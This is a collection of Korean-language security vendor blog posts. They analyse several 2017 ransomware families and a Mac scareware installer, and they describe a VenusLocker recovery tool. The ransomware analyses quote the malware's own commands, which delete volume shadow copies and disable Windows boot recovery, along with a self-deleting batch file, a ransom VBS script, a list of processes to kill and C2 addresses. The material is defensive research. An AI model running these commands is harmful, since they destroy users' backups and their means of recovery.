지난 '스팸메일을 통해 유포되는 VenusLocker 랜섬웨어' 글에서는 VenusLocker 랜섬웨어에 대해 소개한 바 있다.

이번 글에서는 해당 랜섬웨어로 감염된 파일 중 일부 복구가 가능한 파일을 대상으로 제작한 복구툴을 다루고자 한다.

복구툴은 VenusLocker 랜섬웨어 공격자의 '명령 제어 (C&C, Command & Control) 서버에 접속이 불가능한' 상황에서 감염된 파일들을 대상으로 한다. (이외에는 복구 불가)


VenusLocker 랜섬웨어는 기타 다른 랜섬웨어와 마찬가지로 특정 파일들을 대상으로 암호화를 수행하는데 특징은 다음과 같다.

1. AES 대칭키 방식으로 암호화

1) 감염 대상 PC 에서 명령 제어 서버에 접속이 불가능한 경우 : 내부에 정의된 키 값 사용

2) 감염 대상 PC 에서 명령 제어 서버에 접속이 가능한 경우 : 키 값을 새로 생성 (이 경우 해당 키 값을 랜섬웨어 내부에 정의된 공개키 값으로 RSA 암호화 후 명령 제어 서버로 전송)

2. 대상 파일 확장자에 따라 다음과 같이 암호화 수행

1) '전체' 암호화 : 파일 전체 암호화

2) '부분' 암호화 : 파일 일부분 암호화 (현재까지 확인된 '일부' 크기는 512 or 1024 bytes)

3. 파일명 Base64 인코딩 및 확장자 변경

1) 원본 파일명과 확장자 전체를 Base64 인코딩한 후 VenusLocker 랜섬웨어 확장자로 변경

(예시)

- 원본 파일명 : 'Changelog.txt'

- 감염 파일명 : 'Y2hhbmdlbG9nLnR4dA==.Venusf'

2) VenusLocker 랜섬웨어 확장자는 대상 파일이 '전체' 암호화인지 '부분' 암호화인지에 따라 다르게 붙여지며 현재까지 확인된 종류는 다음과 같다.

- '전체' 암호화 확장자 : '.Venusf', '.VenusLf', '.VenusLfS'

- '부분' 암호화 확장자 : '.Venusp', '.VenusLp', '.VenusLpS'

(* 감염 대상 확장자 종류 및 상세한 내용은 블로그 '스팸메일을 통해 유포되는 VenusLocker 랜섬웨어' 참고)


위 설명 중 1-1) 처럼 제한적인 환경에서 VenusLocker 랜섬웨어의 감염이 이루어졌을 경우 내부에 정의된 키 값을 구할 수 있으므로 복구가 가능하다.

현재까지 확인된 키 값은 다음과 같다.

BGORMkj&v=u1X0O2hOybNdRvZb9SGGnm 

zyQCCu4Ml*4T=v!YP4oe9S5hbcoTGb8A

[표 1] 내부 키 값

VenusLocker 랜섬웨어에 의해 '부분' 암호화된 파일의 경우에는 복구 시 생성되는 파일이 2개이며 이 중 하나의 파일에서 정상 복구된 파일을 얻을 수 있다.

이는 '부분' 암호화 시 암호화되는 크기가 랜섬웨어마다 상이하기 때문에 확인된 암호화 크기 가짓수만큼 복구 파일을 생성하는 것이다. (감염 파일만으로는 실제 암호화된 크기를 알 수 없음) 

현재까지 확인된 '부분' 암호화 크기는 512, 1024 bytes 2가지이므로 생성된 복구 파일도 2개이며 각각 접두어 [512], [1024] 를 통해 복구 크기를 확인할 수 있다.

[그림 1] '부분' 암호화 파일 (위) 및 복구 파일 (아래)


[그림 2] 복구 실패 파일 (위) 및 정상 복구 파일 (아래)


추가로 '부분' 암호화 파일의 복구 시에는 다음과 같은 문제가 발생할 소지가 있다.

1. 문제 : '부분' 암호화 파일 중 원본 파일 크기가 '부분' 암호화 크기보다 작은 경우

2. 결과 : 복구 파일에 가변적인 더미 데이터 생성 ([그림 3])

(예시)

- 원본 파일 크기 : 632 bytes

- '부분' 암호화 크기 : 1024 bytes

- 복구 파일 크기 : 1024 bytes

[그림 3] 원본 파일 (좌) 및 더미 데이터가 추가된 복구 파일 (우)

(* 위와 같은 문제는 최근 유포되는 VenusLocker 랜섬웨어 감염 파일에서는 나타나지 않는다. 이유는 '부분' 암호화 파일 대상에 확장자뿐만 아니라 파일 크기도 추가되어 2048 bytes 보다 클 경우만 해당되기 때문)


감염 파일의 파일명은 '원본 파일명 + 확장자' 가 Base64 인코딩된 형태에 VenusLocker 랜섬웨어 확장자가 붙은 것이므로 랜섬웨어 확장자 제거 후 동일하게 Base64 디코딩을 이용하여 원본 파일명과 확장자를 구할 수 있다.

(예시)

- 감염 파일명 : W1RFU1RdSFdQLmh3cA==

- Base64 디코딩 후 : [TEST]HWP.hwp

(이때 한글이나 기타 이유로 Base64 디코딩이 실패할 경우 복구툴에서는 랜섬웨어 확장자를 제거한 감염 파일명으로 복구를 진행한다)


[그림 4] 감염 파일 (위) 및 복구 파일 (아래)


위와 같은 사항이 반영된 복구툴은 하기 경로에서 다운로드 가능하다.

다운로드

신고
Creative Commons License
Creative Commons License
Posted by jaemin.song

* Installmiez

Installmiez는 ExtInstall, InstallCore 등으로도 불리는 맥 PUP (Potential Unwanted Program)으로 2015년 초 처음 발견되었다. 2015년 최소 4,084개, 2016년 최소 59,125개, 2017년 2월까지 최소 17,473 개가 발견되어 2017년 2월 현재 8 만개 이상의 변형이 확인되었다.  



초기에는 가짜 플래시 플레이어 설치 파일 등으로 가장했지만 최근에는 실제 플래시 플레이어, 동영상 플레이어, 자바 등을 다운로드 해 설치하는 DMG 파일로 배포된다. 그리고 추가로 사용자에게 겁을 줘 과금을 유도하는 스케어웨어(Scareware)를 추가 설치하도록 유도한다. 제작자는 이런 프로그램 설치를 통해 돈을 벌고 있는 것으로 보인다. 

해당 프로그램 설치만으로는 악성코드가 설치되지 않아 트로이목마로 분류하지 않고 잠재적으로 원하지 않는 프로그램 (PUP)로 분류 된다. V3 제품군에서 해당 파일을 진단하기 위해서는 PUP 진단 기능을 활성화 해야 한다.


* DMG 분석


맥OS(macOS) 설치 파일인 DMG 파일로 배포되고 있다. 사용자가 DMG 파일을 연결하면 설치 파일 화면에 나타난다.




Installer.app을 더블클릭하면 변형에 따라 Flash Video Player, HD Video Player, Java 등 중에 하나를 설치하는 화면이 나타난다.

실제 동영상 플레이어 등이 설치된 후 웹브라우저로 특정 사이트 (예 : http://ic-dc.present***conecpt.com 등)로 접속해 시스템에 문제가 있을 수 있으니 점검을 위해 추가 프로그램 다운로드를 권한다. 설치하려는 프로그램에 따라 화면이 조금씩 다르다.

사용자가 다운로드를 승인 할 경우 추가 PUP가 다운로드 되고 더블클릭 하면 설치된다.


* 설치 프로그램 분석

설치 되는 프로그램은 크게 어드벤스드 맥 클리너(Advanced Mac Cleaner), 맥키퍼(MacKeeper), 맥 메카닉(Mac Mechanic), 맥 퓨리파이어(Mac Purifier) 등이다. 이들 프로그램은 맥을 최적화 한다고 하지만 사소한 문제를 큰 문제처럼 과장해 사용자에게 겁을 주고 과금을 요구하는 프로그램으로 스케어웨어(Scareware)에 해당하는 PUP(Potential Unwanted Program)로 볼 수 있다. 특히 맥키퍼 제작사는 피해를 입은 사람들이 제기한 소송에 200 만 달러의 합의금을 내기도 했다.





macOS를 설치한 시스템에서도 수십에서 1,500 개 이상의 문제가 있는 것처럼 보여준다.





사용자가 문제를 해결하려고 앱 내 기능을 사용하면 과금을 요구한다.



* 대응


불필요한 프로그램 (PUP, Potential Unwanted Program) 이므로 기본 검사에서는 진단되지 않는다. V3 제품에서 진단하기 위해서는 검사 대상에서 ‘불필요한 프로그램(PUP)’을 진단 할 수 있게 선택해야 한다.


안랩 V3 제품군에서는 Installmiez DMG 파일은 BinImage/Installmiez 로 진단되며 최종 설치되는 실행 파일들은 프로그램에 따라 진단된다.


OSX-PUP/Amcleaner

OSX-PUP/Macmechanic

OSX-PUP/Mackeeper

OSX-PUP/Macpurifier


* 예방


InstallMiez 뿐만 아니라 다른 악성코드로부터의 완벽한 예방법은 없지만, 다음과 같은 예방법으로 감염 가능성을 최소화할 수는 있다. 참고로 맥OS의 기본 보안 기능으로는 해당 악성코드 설치 및 실행을 막을 수 없다.

1. 최신 macOS 버전을 사용하고 앱스토어(App Store) 업데이트 기능으로 최신 업데이트를 유지한다.


2. 다운로드 해서 앱을 설치 하지 않는다면 앱스토어(APP Store)에서 다운로드 한 앱 허용을 선택한다. ([시스템 환경설정] -> [보안 및 개인 정보 보호]에서 설정 가능)


3. 백신 프로그램의 엔진 버전을 최신으로 유지하고 주기적으로 시스템 검사를 실시한다.


4. 백신 프로그램의 PUP 진단 기능을 활성화 한다.


5. 메일 첨부 파일 또는 다운로드 한 파일이 실행 파일일 경우 의도한 파일이 맞는지 확인한 후 실행한다.


6. 프로그램을 설치 할 때 최종 사용자 사용권 계약(EULA)를 유심히 읽거나 설치 화면에서 불필요한 추가 프로그램 설치가 이뤄지는지 유심히 확인한다.


7. 프로그램을 설치 하기 전에 해당 프로그램의 평판에 대해 알아 본다.



* 결론


맥 사용자가 증가하면서 맥 사용자를 노린 악성코드도 증가하고 있다. 이 중 사용자에게 겁을 줘 과금을 요구하는 PUP (Potential Unwanted Program)성 프로그램의 증가가 뚜렷하다. 인터넷에서 프로그램을 다운로드 할 때는 가급적 해당 프로그램의 평판을 확인할 필요가 있다. 몇몇 업체는 평판까지 속이기 위해 좋은 평의 내용을 올리는 경우도 있으므로 프로그램 다운로드 사이트 댓글 뿐 아니라 검색 엔진을 통해 얼마나 많은 사람들이 해당 앱의 제거를 원하는지도 확인할 필요가 있다.






저작자 표시
신고
Creative Commons License
Creative Commons License
Posted by mstoned7

CryLocker 변형으로 알려진 Sage 2.0 랜섬웨어가 악성 스팸 메일 또는 Adobe Flash (SWF) 와 같은 웹 어플리케이션 취약점으로 국내에 유포되고 있음이 안랩의 악성코드 위협 분석 및 클라우드 진단 시스템인 ASD (AhnLab Smart Defense)로 확인되었다. Sage 랜섬웨어는 말하는 랜섬웨어로 알려진 Cerber 와 유사한 증상을 갖는 것으로도 알려져 있다.

Sage2.0 랜섬웨어는 CryLocker 와 동일하게 바로가기 파일(*.lnk) 생성, 암호화 제외 경로 문자열, 암호대상 등 유사한 점이 많으나 기능이 좀 더 추가되고, 암호화 방식이 달라졌다. 그리고, 2월 19일 Sage 2.2 랜섬웨어가 ASD 시스템을 통해서 국내 발견 되었는데, 코드 변화는 있으나 내부 기능은 Sage2.0 랜섬웨어와 동일한 것으로 확인되었다.

CryLocker 랜섬웨어와 동일하게 실행 시 내부에 존재하는 PE 이미지를 메모리 상에서 자기자신에 삽입하여 동작하며 감염 시 아래와 같은 화면을 띄워 사용자에게 금전적 요구를 한다.

[그림1] Sage 2.0 랜섬노트

[그림 2] 금전 요구 화면 (한국어 안내 페이지도 존재)


%appdata%경로에 자신과 동일한 파일을 생성하고, 시작프로그램에 새로 생성한 랜섬웨어에 대한 바로가기 (*.lnk)파일을 생성한다.

- C:\Documents and Settings\[사용자 계정]\Application Data\[랜덤명].exe

- C:\Documents and Settings\[사용자 계정]r\시작 메뉴\프로그램\시작프로그램\[랜덤명].lnk


추가적으로, 실행 파일을 삭제하는 배치파일을 숨김 속성으로 생성하고, Cerber 랜섬웨어처럼 감염사실을 음성을 통해 알려주는 VBS 스크립트 파일도 생성한다.

- C:\DOCUME~1\[사용자 계정]\LOCALS~1\Temp\__config[랜덤숫자].bat (hidden)

- C:\DOCUME~1\[사용자 계정]\LOCALS~1\Temp\f[랜덤숫자].vbs


[그림 3] %temp%에 생성된 스크립트 파일

:abx

ping 127.0.0.1 -n 2 > nul

del /A /F /Q "[실행파일경로]"

if exist "[실행파일경로]"" goto abx

del /A /F /Q [실행파일경로]"

[표 1] 배치파일 데이터

Set f=//일부제거// ("Scripting.FileSystemObject")

f.DeleteFile Wscript.ScriptFullName, True

Set v=CreateObject("//일부제거//")

v.Speak "Attention! Attention! This is not a test!"

WScript.Sleep(1500)

v.Speak "All you documents, data bases and other important files were encrypted and Windows can not restore them without special software.User action is required as soon as possible to recover the files."

WScript.Sleep(2000)

[표 2] Cerber 와 유사한 VBS 스크립트 파일 데이터


감염대상 드라이브는 “A:\ ,B:\ “를 제외 한 드라이브(C~Z)를 순회하며 파일을 암호화 시킨다.

이 때, 아래 표에 해당하는 문자열이 존재하는 폴더는 암호화 대상에서 제외된다.

[그림 4] 대상 드라이브 찾는 코드


CryLocker보다 4개의 문자열이 추가되었다. (추가 된 문자열 빨간색으로 표시)

[표 3] 암호화 제외 경로 문자열


암호화 대상 확장자는 600개 이상이며, 아래한글 확장자인 .hwp도 포함 된 것을 알 수 있다.

[표 4] 암호화 대상


사용자 정보 (GetVersion, GetUserName, GetComputerName, CPUID, GetAdaptersInfo,

GetKeyboardLayoutList)를 아래 주소로 전송한다.

- mbfce24rgn65bx3g.**.com // 변형마다 달라진다.


Sage2.0 랜섬웨어는 maps.googleapis.com에 감염 시스템의 SSID, MAC 주소를 쿼리한다. 이를 통해 해당 랜섬웨어의 감염 분포를 파악하는 것으로 보인다.

[그림 5] maps.googleapis.com 이용한 사용자 위치 정보 쿼리


파일 암호화 후 아래 표와 같이 볼륨 쉐도우를 및 부팅 구성 데이터 편집기(bcdedit.exe)를 이용해 복구 무력화를 진행한다.

명령어

기능

vssadmin.exe  Delete Shadows /All /Quiet

볼륨 쉐도우 삭제

bcdedit /set {default} bootstatuspolicy ignoreallfailures

Windows 오류 복구 알림창 표시 끔

bcdedit  /set {default} recoveryenabled No

복구 모드 사용 안함

[표 5] 사용자의 복구를 막는 명령어와 기능


데이터 베이스 파일의 쓰기 권한이 OS에 의해 차단 될 수 있기 때문에 [표 6]에 해당하는 프로세스가 실행 중이면, 프로세스를 종료한다

종료 할 프로세스 명

msftesql.exe

sqlagent.exe

sqlbrowser.exe

sqlservr.exe

sqlwriter.exe

oracle.exe

ocssd.exe

dbsnmp.exe

synctime.exe

mydesktopqos.exe

agntsvc.exe

isqlplussvc.exe

xfssvccon.exe

mydesktopservice.exe

ocautoupds.exe

agntsvc.exe

encsvc.exe

firefoxconfig.exe

tbirdconfig.exe

ocomm.exe

mysqld.exe

mysqld-nt.exe

mysqld-opt.exe

dbeng50.exe

sqbcoreservice.exe

[표 6] 종료 할 프로세스 명


감염된 파일은 [원본파일명].sage로 변경된다.

[그림 6] 암호화 된 파일


랜섬웨어의 특성상 완벽한 복구 방법이나 예방법은 없지만 피해를 최소화하기 위해서 항상 윈도우 보안 패치 및 V3 백신 프로그램을 최신 업데이트 상태로 유지하는 것이 중요하다.

또한 신뢰할 수 없는 출처의 메일 등의 첨부 파일 실행 및 확인되지 않은 웹 페이지 방문 시 사용자의 각별한 주의와 플래시 취약점을 이용함으로 플래시 보안 업데이트도 최신으로 유지가 필요하다.

 

현재 V3 에서는 Sage2.0 / 2.2 랜섬웨어는 다음 진단명으로 진단하고 있다.

- Trojan/Win32.SageCrypt (2017.02.15.00)

신고
Creative Commons License
Creative Commons License
Posted by 이보원

CrpytoMix의 변종으로 알려진 CryptoShield 2.0 (1.0 -> 1.1 -> 1.2 -> 2.0, 버전별 간략한 특징은 글 하위에 정리함) 국내에서 유포되고 있는 것을 안랩의 악성코드 위협 분석 및 클라우드 진단 시스템인 ASD (AhnLab Smart Defense) 에서 확인 되었다. CryptoShieldCryptoMix와 유사한 점도 많지만 버전이 올라갈수록 대상 확장자의 증가, 윈도우 기본 유틸리티를 이용한 윈도우 복구 기능의 무력화 기능이 추가됨에 따라 더 악의적으로 진화하는 랜섬웨어의 면모를 갖추고 있다. 사용자가 체감할 수 있는 CryptoMix 와의 가장 큰 변화는 다음과 같다.

[그림-1] CryptoMix에서 변화한 CryptoShiled 2.0 HTML 랜섬노트

CryptoMix의 경우 랜섬노트가 단순한 텍스트 파일만 생성하던 것과는 다르게 상기 그림과 같이 감염된 파일이 있는 경로마다 HTML 파일을 추가하여 생성하고 감염 후 실행시킨다. HTML 파일의 내용은 상기 [그림-1]과 같다.

유포방식은 CryptoMix (클릭 시 블로그내 분석 정보로 연결)와 유사하게 Rig-V EK (SWF 취약점 CVE-2015-8651 )를 이용하였으며 취약점이 존재하는 웹 페이지를 방문할 시 사용자도 모르게 CryptoShield에 의해 파일들이 암호화가 된다.

 

최근 버전의 CryptoShield 2.0의 암호화 대상 확장자는 1200여개(버전 1.0의 경우 454)CryptoMix 와 유사하며 아래한글 확장자인 .hwp 도 포함 된 것을 알 수 있다.

 

[그림-2] CryptoShield 2.0기준 암호화 대상 확장자 일부

사용자의 컴퓨터 모든 드라이브(C~Z)를 탐색하며 상기 확장자 파일은 모두 암호화 한다. 하지만 CryptoMix와 같이 경로에 다음 특정 문자열이 있을 경우(ex: c:\WINDOWS) 해당 폴더내 파일은 암호화 하지 않는다.

WINDOWS

PACKAGES

COOKIES

PROGRAMDATA

MICROSOFT

BOOT

APPLICATION DATA

WINNT

TMP

INETCACHE

NVIDIA

SYSTEM VOLUME INFORMATION

$RECYCLE.BIN

TEMP

WEBCACHE

CACHE

PROGRAM FILES (X86)

PROGRAM FILES

TEMPORARY INTERNET FILES

APPDATA

[-1] 암호화 제외 경로 문자열


 

암호화가 진행되면 파일은 다음과 같이 변경된다[그림-3] 암호화 된 파일의 변경 전() 변경 후(아래)

CryptoMix와 차이점은 ROT13 ( Rotate by 13 places ) 을 이용하여 파일명을 암호화 한 뒤 확장자인 .CRYPTOSHIELD. (버전2.0 기준 파일 확장자 끝 . 추가 됨)을 붙인다. 파일명이 한글이나 숫자일 경우는 변경하지 않고 확장자만 변경한 뒤 .CRYPTOSHILED.을 추가한다.

 

[그림-4] ROT13 암호화 알고리즘(ex: Penguins.jpg -> CRATHVAF.WCT)

출처 - https://ko.wikipedia.org

파일 암호화를 마친 뒤 CryptoMix와 같이 윈도우 기본 유틸리티를 이용한 볼륨 쉐도우 삭제 및 부팅 구성 데이터 편집기(bcdedit.exe)를 이용하여 윈도우 복구 무력화를 진행한다

명령어

기능

vssadmin.exe  Delete Shadows /All /Quiet

볼륨 쉐도우 삭제

Net stop vss

볼륨 쉐도우 서비스 중지

bcdedit /set {default} bootstatuspolicy ignoreallfailures

Windows 오류 복구 알림창 표시 끔

bcdedit  /set {default} recoveryenabled No

복구 모드 사용 안함

vssadmin.exe  Delete Shadows /for=%c: /All /Quiet

(%c= a ~ z)

a~z 드라이브에 있는 볼륨 쉐도우 삭제(버전 1.2 추가)

[-2] 사용자의 복구를 막는 명령어와 기능

 

다른 랜섬웨어인 LockyCerber와는 다르게 CryptoMix 처럼 특정경로에 자기 복제 후 원본 랜섬웨어와 함께 모두 레지스트리 Run 키에 등록하여 재부팅 후에도 다시 동작하게 설정해둔다 

[그림-4] 레지스트리 Run 키에 등록된 랜섬웨어 

레지스트리

DATA

HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Windows SmartScreen Updater

원본 랜섬웨어

HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Windows SmartScreen

복사된 랜섬웨어

[-3] CryptoShiled 레지스트리 등록 정보(*변형마다 다름)

CryptoShield는 네트워크 접속하여 사용자의 정보를 전송하고 종료된다.

접속 주소

45.76.81.110/test_site_scripts/moduls/connects/mailsupload.php

107.191.62.136/js/prettyPhoto/images/prettyPhoto/default/information.php

[-4] CryptoShield 네트워크 접속 정보(*변형마다 다름)

 참고로 각 버전 별 간략한 특징은 다음과 같다

 

CryptoShield 1.0

CryptoShield 1.1

CryptoShield 1.2

CryptoShield 2.0

암호화 확장자

.CryptoShield

.CryptoShield

.CryptoShield

.CryptoShield.

랜섬노트 버전

CryptoShield 1.0

CryptoShield 1.1

CryptoShield 1.2

CryptoShield 2.0 Dangerous

Windwos복구 무력화 명령어

4

4

5

5

암호화 대상 확장자

454

1209

1209

1209

랜섬웨어의 특성상 완벽한 복구 방법이나 예방법은 없지만 피해를 최소화하기 위해서 항상 윈도우 보안 패치 및 V3 백신 프로그램을 최신 업데이트 상태로 유지하는 것이 중요하다.

또한 신뢰할 수 없는 출처의 메일 등의 첨부 파일 실행 및 확인되지 않은 웹 페이지 방문 시 사용자의 각별한 주의와 플래시 취약점을 이용함으로 플래시 보안 업데이트도 최신으로 유지가 필요하다.

현재 V3 에서는 CryptoShield 랜섬웨어를 다음과 같은 진단명으로 진단하고 있다.

- Trojan/Win32.CryptoShield(2017.02.03.00)

- Win-Trojan/CryptoShield.Gen (2017.02.07.00)

신고
Creative Commons License
Creative Commons License
Posted by JYP

작년 9Rig Exploit kit, Sundown Exploit kit SWF 취약점 통해 유포되는 CryLocker 랜섬웨어가 최초 발견되었다.

국내에 많이 알려진 다른 랜섬웨어 (Cerber, Locky )와의 차이점은 사용자 정보를 이미지 호스팅 웹사이트(Imgur), 익명 텍스트 파일 공유사이트(pastebin)에 업로드 하는 것이다.

CryLocker 랜섬웨어는 실행 시 내부에 존재하는 PE 이미지를 메모리 상에서 자기자신에 삽입하여 동작하며 파일 암호화 후 아래와 같은 화면을 띄워 사용자에게 금전적 요구를 한다.

[그림 1] 복호화 방법과 금전을 요구하는 랜섬노트


파일이실행 되면 복호화 관련 안내파일과 자신과 동일한 파일을 %temp% 폴더에 생성한다.

- C:\DOCUME~1\[사용자 계정]\LOCALS~1\Temp\[랜덤명].html

- C:\DOCUME~1\[사용자 계정]\LOCALS~1\Temp\[랜덤명].exe

 

그리고, 다음 예와 같이 시작 프로그램 경로와 %temp%폴더에 생성한 두 파일에 대하여 랜덤명으로 바로가기(*.lnk) 파일을 생성한다. 이로 인해 감염이 이루어지지 않은 파일들에 대해서 추가 감염을 일으킬 수 있다.

- C:\Documents and Settings\[사용자 계정]\시작 메뉴\프로그램\시작프로그램\MWTYtBtR.lnk

- C:\Documents and Settings\[사용자 계정]\시작 메뉴\프로그램\시작프로그램\6KhIcB4O.lnk 


[그림 2] 원본 파일과 동일한 랜섬웨어를 실행하는 바로가기 (*.lnk)파일

[그림 3] 복호화 관련 안내 파일을 실행하는 바로가기 (*.lnk)파일


암호화 대상 드라이브는 “A:\ ,B:\ “를 제외 한 하드 디스크 드라이브, 네트워크 드라이브, 램 디스크 드라이브다.

[그림 4] 대상 드라이브 찾는 코드

[그림 5] GetDriveTypeW의 값


위를 통해 구한 감염 대상 드라이브를 순회하며 암호화를 진행한다. 이 때, 아래 [ 1]에 해당하는 문자열이 존재하는 폴더는 암호화 대상에서 제외된다.


암호화 제외 경로 문자열

tmp

Temp

winnt

Application Data

Appdata

ProgramData

Program Files (x86)

Program Files

$Recycle.Bin

$RECYCLE.BIN

System Volume Information

Boot

Windows

WinSxS

DriverStore

League of Legends

steamapps

cache2

httpcache

GAC_MSIL

GOG Games

Games

My Games

Cookies

History.IE5

History.IE5

node_modules

All Users

AppData

ApplicationData

nvidia

intel

Microsoft",LF

MY_QWemsadkjasd

 

[1] 암호화 제외 경로 문자열


암호화 대상 확장자는 600개 이상이며, 아래한글 확장자인 .hwp도 포함 되어있다.

본문의 처음에 언급했듯 해당 랜섬웨어는 “MachineID, User Name, ComputerName” 등과 같은 사용자 정보를 무료 웹 사이트에 전송한다.

-       pastee.org

-       imgur.com


파일 암호화 후 아래 표와 같이 볼륨 섀도우를 삭제하여 Windows 운영체제에서 제공하는 파일 백업 및 복원 기능을 사용할 수 없게 한다.

명령어

기능

vssadmin.exe delete shadows /all /quiet

볼륨 쉐도우 삭제

[3] 볼륨 섀도우 삭제


그리고, 기존 바탕화면에 존재하는 바로가기 파일(*.lnk)에 대해 “old_shortcut” 폴더를 만들어 모두 옮긴다.

[그림 6] 바탕화면에 생성된 폴더/파일


감염 된 파일은 [원본파일명.cry]로 변경된다.

[그림 7] 감염 된 파일


랜섬웨어의 특성상 완벽한 복구 방법이나 예방법은 없지만 피해를 최소화하기 위해서 항상 윈도우 보안 패치 및 V3 백신 프로그램을 최신 업데이트 상태로 유지하는 것이 중요하다.

또한 신뢰할 수 없는 출처의 메일 등의 첨부 파일 실행 및 확인되지 않은 웹 페이지 방문 시 사용자의 각별한 주의와 플래시 취약점을 이용함으로 플래시 보안 업데이트도 최신으로 유지가 필요하다.


현재 V3 에서는 Crylocker 랜섬웨어는 다음 진단명으로 진단하고 있다

- Trojan/Win32.Ransom (2016.09.02.04)

신고
Creative Commons License
Creative Commons License
Posted by 이보원

바로가기(.lnk) 파일을 생성하여 지속적인 감염을 유도하는 Spora 랜섬웨어가 해외에서 발견되었다

최초 발견 당시 러시아를 타겟으로 청구 PDF’문서로 가장한 악성 HTA파일(MD5 : 37477dec05d8ae50aa5204559c81bde3, V3 진단 : VBS/Saclesto(2017.02.20.00))을 메일에 첨부하여 스팸 형태로 유포되었다. HTA파일은 HTML 어플리케이션으로서 내부의 스크립트를 브라우저 없이 실행 가능한 형태로 만들어진 파일이다. 첨부 된 HTA파일을 실행할 경우 Spora 랜섬웨어가 생성 및 실행되어 감염을 일으킨다.

최근에는 스팸 메일 뿐 아니라 Rig-V Exploit kit을 통하여 SWF Flash 취약점을 이용하거나 Chrome사용자를 타겟으로 허위 Popup 창을 통해 접근 유도하여 유포하는 것을 알 수 있다.


[그림 1] - 유포 방식 구조 


[그림 2] - Case3. 허위 Update 클릭 유도하는 Chrome Popup

*출처: Malware-Traffic-Analysis.net


Spora 랜섬웨어 실행 파일은 Visual C로 작성 되었으며 때에 따라 UPX로 팩 되어 유포된다. 실행 시 내부에 존재하는 PE 이미지를 메모리 상에서 자기자신에 삽입하여 동작하며 아래와 같은 명령으로 볼륨 쉐도우 카피를 삭제하여 Windows 운영체제에서 제공하는 파일 백업 및 복원 기능을 사용할 수 없게 한다


WIMC를 이용한 명령 수행

"C:\Windows\System32\wbem\WMIC.exe" process call create "cmd.exe /c vssadmin.exe delete shadows /all /quiet & bcdedit.exe /set {default} recoveryenabled no & bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures"




[표 1] - WMIC 명령어


감염 시에는 아래와 같은 23개 확장자 파일들이 암호화 되며 최상위 드라이브에 복구와 관련한 .HTML, .KEY, .LST 파일, 바로가기 (.lnk) 파일 및 원본 Spora 랜섬웨어 복사본이 숨김 속성으로 생성된다. 기존에 존재하던 폴더는 아래와 같이 숨김 속성으로 변하고 그 이름으로 바로가기 파일들이 생성되기 때문에 폴더 접근을 원하는 사용자는 바로가기 파일을 폴더로 착각하여 실행 할 수 있다


암호화 대상 파일 확장자

.backup, .zip, .rar, .7z, .pdf, .xls, .xlsx, .doc, .docx, .rtf, .odt, .cd, .mdb, .1cd, .dbf, . sqlite, .accdb,

.jpg, .jpeg, .tiff, .cdr, .psd, .dwg




[표 2] - 암호화 대상 확장자


[그림 3] - 감염 후 변경 된 최상위 폴더


생성 된 바로가기(.lnk) 파일은 다음과 같은 명령을 수행한다.


[그림 4] - 바로가기 파일 명령


따라서 바로가기 파일 실행 시 원본이 복사 된 Spora 랜섬웨어 파일이 실행된다.

그리고 USB가 연결 된 후 감염이 이루어지면 USB 최상위 경로에도 바로가기 파일이 생성되기 때문에 감염 USB를 다른 시스템에 연결 후 바로가기 파일을 실행한다면 추가 전파 피해가 발생 할 수 있다.  

또한 Spora 랜섬웨어는 다른 랜섬웨어와 다르게 감염 후 파일명 및 확장자를 변경하지 않는다. 따라서 파일을 열기 전에 파일명만으로는 감염여부를 짐작할 수 없다.


[그림 5] - 파일명은 감염 전과 동일하지만 내부 데이터 변경으로 열리지 않음


모든 감염이 끝난 후 복구관련 안내 화면을 확인 할 수 있다. 감염 후에 생성 된 감염자의 고유한 번호를 통해 복구 화면(https://spora.bz)으로 이동하면 복구 시 지불해야 하는 가격이 표시된다. 또한 감염자의 고유번호로 페이지에 로그인하면 제작자와의 채팅기능이 활성화 된다.


[그림 6] - 감염 후 실행 된 .HTML 파일


[그림 7] - 감염 후 실행 된 .HTML 파일


랜섬웨어의 특성상 완벽한 복구 방법이나 예방법은 없지만 피해를 최소화하기 위해서 항상 윈도우 보안 패치 및 V3 백신 프로그램을 최신 업데이트 상태로 유지하는 것이 중요하다.

또한 신뢰할 수 없는 출처의 메일 등의 첨부 파일 실행 시 사용자의 각별한 주의가 필요하다.

현재 V3에서는 Spora 랜섬웨어를 다음과 같은 진단명으로 진단하고 있다.

- Trojan/Win32.Spora (2017.01.17.04)



신고
Creative Commons License
Creative Commons License
Posted by chloechoi

HydraCrypt 변형으로 알려진 CryptoMix 랜섬웨어가 국내 발견 되었다. 해외에서는 작년 말 관공서 및 학교에 사회공학적 기법을 이용해 유포되어 유명해 졌으며 2017년 초 국내에 상륙한 것을 확인하였다. 한편 CryptoMix 와 유사한 CryptoShield 랜섬웨어도 국내 발견 되었다. 해당 랜섬웨어 대한 정보는 조만간 본 블로그를 통하여 게시할 예정이다.

CryptoMix2016년 말 미국 내에서 스팸 메일을 이용해 유포가 활발하였고 타겟은 관공서 직원 및 학교 선생님 대상으로 발송된 것으로 보도되었다.

(*출처: https://www.proofpoint.com/us/threat-insight/post/cryptfile2-ransomware-returns-in-high-volume-url-campaigns)

최근 안랩의 악성코드 위협 분석 및 클라우드 진단 시스템인 ASD(AhnLab Smart Defense)에서는 취약점에 의해 CryptoMix가 생성된 것으로 로그가 확인 되었다. 현재 유포 방식을 작년 말과는 다르게 변경한 것으로 보인다. 또한 20171월 기준 CryptoMixRig-V EK(Exploit Kit)에 의해 유포된 것으로 해외 블로그(malware-traffic-analysis.net: 주로 악성코드 감염과 관련된 네트워크 트래픽 정보를 포스팅 함)에 언급 되어있다.

 

[그림-1] RIG-V EKCryptoMix 동작도

정상 웹 사이트에 취약점이 있는 웹 페이지로 유도하는 스크립트를 삽입하는 공격으로부터 시작 되는 RIG-V EK 는 주로 SWF (CVE-2015-8651) 취약점을 사용한다. 취약점이 존재하는 경우 사용자는 정상적인 웹 사이트를 방문 시 접속만으로도 CryptoMix 랜섬웨어가 실행 되어 컴퓨터 내의 파일들이 암호화 된다.


많이 알려진 LockyCerber 랜섬웨어와는 다르게 CrptoMix 감염될 시 바탕화면이 변경되지는 않지만 아래 그림과 같은 텍스트 파일을 실행시켜 사용자에게 감염된 것을 인지 시켜준다.

[그림-2] 랜섬웨어 경고 텍스트

 

CrptoMix에 암호화된 파일명은 다음과 같이 변경된다.

-       원본파일명.email[****@post.com]_id[pcid].lesli (메일주소 일부 * 처리)

 

[그림-3] 암호화된 파일의 변경된 파일명


 

CryptoMix 로 암호화된 파일의 확장자는 변형 별로 다음과 같이 변경되었다.

암호화된 파일의

